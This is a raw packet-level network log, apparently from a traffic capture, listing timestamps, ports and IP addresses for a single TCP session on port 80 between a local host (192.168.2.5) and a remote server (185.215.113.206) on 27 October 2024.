Oct 27, 2024 07:59:16.669686079 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.669702053 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.669708014 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.669714928 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.669742107 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.669789076 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.669806957 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.669812918 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.669822931 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.669855118 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.669872046 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.669889927 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.669900894 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.669903994 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.669919968 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.669922113 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.669939995 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.669944048 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.669956923 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.669972897 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.669986963 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.670049906 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.670066118 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.670083046 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.670097113 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.670097113 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.670111895 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.670128107 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.670144081 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.670156956 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.670176029 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.670192957 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.670196056 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.670206070 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.670208931 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.670224905 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.670242071 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.670243979 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.670284033 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.670284033 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.670322895 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.670340061 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.670356989 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.670419931 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.670427084 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.670427084 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.670450926 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.670468092 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.670494080 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.670509100 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.670525074 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.670525074 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.670530081 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.670540094 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.670558929 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.670562029 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.670574903 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.670593023 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.670593977 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.670610905 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.670723915 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.670741081 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.670756102 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.670778036 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.670778036 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.670789957 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.670810938 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.670828104 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.670844078 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.670852900 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.670852900 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.670875072 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.670896053 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.670911074 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.670928955 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.670943975 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.670959949 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.671000004 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.671000004 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.671000004 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.671053886 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.786904097 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.786920071 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.786952972 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.786967993 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.786986113 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.786999941 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.787029982 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.787043095 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.787043095 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.787059069 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.787075996 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.787092924 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.787107944 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.787122965 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.787141085 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.787141085 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.787141085 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.787156105 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.787170887 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.787199974 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.787214041 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.787228107 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.787256002 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.787273884 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.787291050 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.787291050 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.787291050 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.787291050 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.787306070 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.787307024 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.787329912 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.787344933 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.787365913 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.787365913 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.787375927 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.787395954 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.787419081 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.787425041 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.787439108 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.787447929 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.787465096 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.787482977 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.787499905 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.787503004 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.787518978 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.787520885 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.787556887 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.787594080 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.787614107 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.787636042 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.787651062 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.787664890 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.787678957 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.787681103 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.787688017 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.787709951 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.787723064 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.787727118 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.787745953 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.787760019 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.787760973 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.787776947 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.787779093 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.787794113 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.787827015 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.787856102 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.787858963 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.787859917 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.787873030 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.787884951 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.787888050 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.787906885 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.787919998 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.787925959 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.787939072 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.787955046 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.787969112 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.787982941 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:16.787992954 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.787992954 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.788127899 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.901037931 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:16.906392097 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.188106060 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.188148975 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.188182116 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.188198090 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.188214064 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.188232899 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.188250065 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.188313007 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.188313007 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.188313007 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.188318968 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.188335896 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.188365936 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.188380957 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.188397884 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.188427925 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.188443899 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.188460112 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.188476086 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.188492060 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.188493013 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.188499928 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.188507080 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.188508034 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.188510895 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.188510895 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.188522100 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.188551903 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.188570976 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.188596010 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.188596010 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.188600063 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.188616991 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.188632011 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.188638926 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.188661098 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.188678980 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.188694954 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.188718081 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.188723087 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.188729048 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.188740969 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.188751936 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.188751936 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.188756943 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.188771009 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.188774109 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.188788891 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.188806057 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.188811064 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.188836098 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.188852072 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.188858986 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.188858986 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.188878059 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.188895941 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.188910961 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.188913107 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.188930035 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.188956976 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.188958883 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.188966036 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.188990116 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.188997984 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.189007044 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.189023972 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.189027071 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.189049959 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.189053059 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.189080954 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.189095020 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.189117908 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.189124107 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.189124107 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.189135075 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.189156055 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.189171076 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.189193964 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.189208984 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.189220905 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.189220905 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.189220905 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.189239979 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.189255953 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.189273119 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.189276934 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.189282894 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.189289093 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.189305067 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.189321041 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.189321041 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.189363956 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.189368963 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.189379930 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.189395905 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.189461946 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.189480066 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.189497948 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.189553022 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.189553022 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.189559937 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.189645052 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.306318045 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.306353092 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.306385040 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.306400061 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.306430101 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.306459904 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.306476116 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.306483030 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.306483030 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.306492090 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.306502104 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.306509018 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.306525946 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.306531906 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.306540966 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.306548119 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.306552887 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.306556940 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.306569099 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.306576014 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.306586027 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.306592941 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.306607008 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.306632996 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.306691885 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.306705952 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.306720972 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.306739092 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.306740046 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.306740046 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.306744099 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.306780100 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.306796074 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.306812048 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.306821108 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.306828022 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.306834936 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.306850910 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.306869030 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.306876898 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.306890011 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.306900024 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.306900978 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.306919098 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.306936026 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.306941032 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.306988001 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.306988001 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.306993961 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.307009935 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.307032108 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.307046890 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.307105064 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.307107925 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.307115078 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.307121992 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.307147026 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.307163954 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.307166100 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.307198048 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.307219028 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.307235956 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.307235956 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.307250023 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.307265043 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.307281017 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.307296991 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.307298899 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.307298899 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.307298899 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.307334900 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.307364941 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:17.307384014 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:17.307399035 CET	80	49704	185.215.113.206	192.168.2.5
